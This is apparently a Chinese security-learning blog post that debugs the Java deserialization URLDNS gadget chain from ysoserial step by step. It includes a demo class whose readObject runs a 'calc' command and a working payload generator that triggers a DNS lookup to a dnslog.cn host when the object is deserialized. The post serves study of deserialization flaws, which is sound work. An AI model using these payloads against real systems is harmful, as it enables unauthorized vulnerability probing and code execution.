Java反序列化(0):URLDNS的反序列化調試分析
URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。
筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。
一. Java反序列化前置知識Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實現Serializable接口,將對象轉化成字節序列。
Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。
測試源碼如下,此部分源碼參考了ol4three師傅的博客:
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 實現序列化和反序列化具體細節的類
class operation1{
// 將輸出字節流寫入文件中進行封存
public static void ser(Object obj) {
// 序列化操作,寫操作
try {
// 首先文件落地object.obj存儲輸出流,綁定輸出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向將輸出流字節寫入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化,讀取操作
try {
// 綁定輸入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化時需要從相關的文件容器中讀取輸出的字節流
// 讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}

二. ysoserial環境搭建IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial進行分析,這里面已經有現成的環境了
https://github.com/frohoff/ysoserial
注意配置好相應的JDK和SDK版本:

- 三. URLDNS攻擊鏈? 影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關
- ? URLDNS這條反序列化鏈只能發起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢
調試分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函數中進行域名解析,從而可以被DNSLog平臺捕獲
URLDNS程序入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路徑下有URLDNS.java文件
main主函數的run函數打斷點進入

這個ysoserial-master的payload運行結構大致是有一個專門的PayloadRunner運行程序,然后統一調用來運行各部分的payload
首先是進行序列化:


繼續往下,生成command,由于是分析URLDNS攻擊鏈,所以只需要修改將返回值為dnslog的臨時地址

創建實例后,進入到URLDNS的getObject的payload函數

getObject函數中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最后設置作用域


反序列化鏈子:
在反序列化入口處打斷點:

在反序列化時調用了readObject函數

然后進入HashMap.java的readObject函數

在readObject中調試到此行,了putval,在此處IDEA這個IDE可以選擇進入的函數,直接進入后者hash
由于我們讀入字節序列,需要將其恢復成相應的對象結構,那么就需要重新putval

傳入的key不為空,執行key.hashCode

進一步在URL.java文件下

進入URLStreamHandler的hashCode



產生解析:

總的來說,利用鏈思路如下:
在反序列化URLDNS對象時,也需要反序列化HashMap對象,從而調用了HashMap.readObject()的重寫函數,重寫函數中調用了哈希表putval等的相關重構函數,在hashcode下調用了getHostAddress函數
那么反之,為什么首次聲明的時候沒有調用到了getHostAddress函數,現在給出聲明時的函數路線:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
該函數為空實現
列出幾個路線上的關鍵函數看看:


由于此處key為String類型,則進入String.hashCode

相比之下,在反序列化中key為URL類型

設置了不發起dns解析


具體執行流,可以看下時序圖,我就不講了^^

四. URLDNS鏈的使用import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不發生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 設置put時不發起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射機制在動態執行時獲取類
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 對象輸出流綁定文件輸出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 對象輸入流綁定文件輸入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}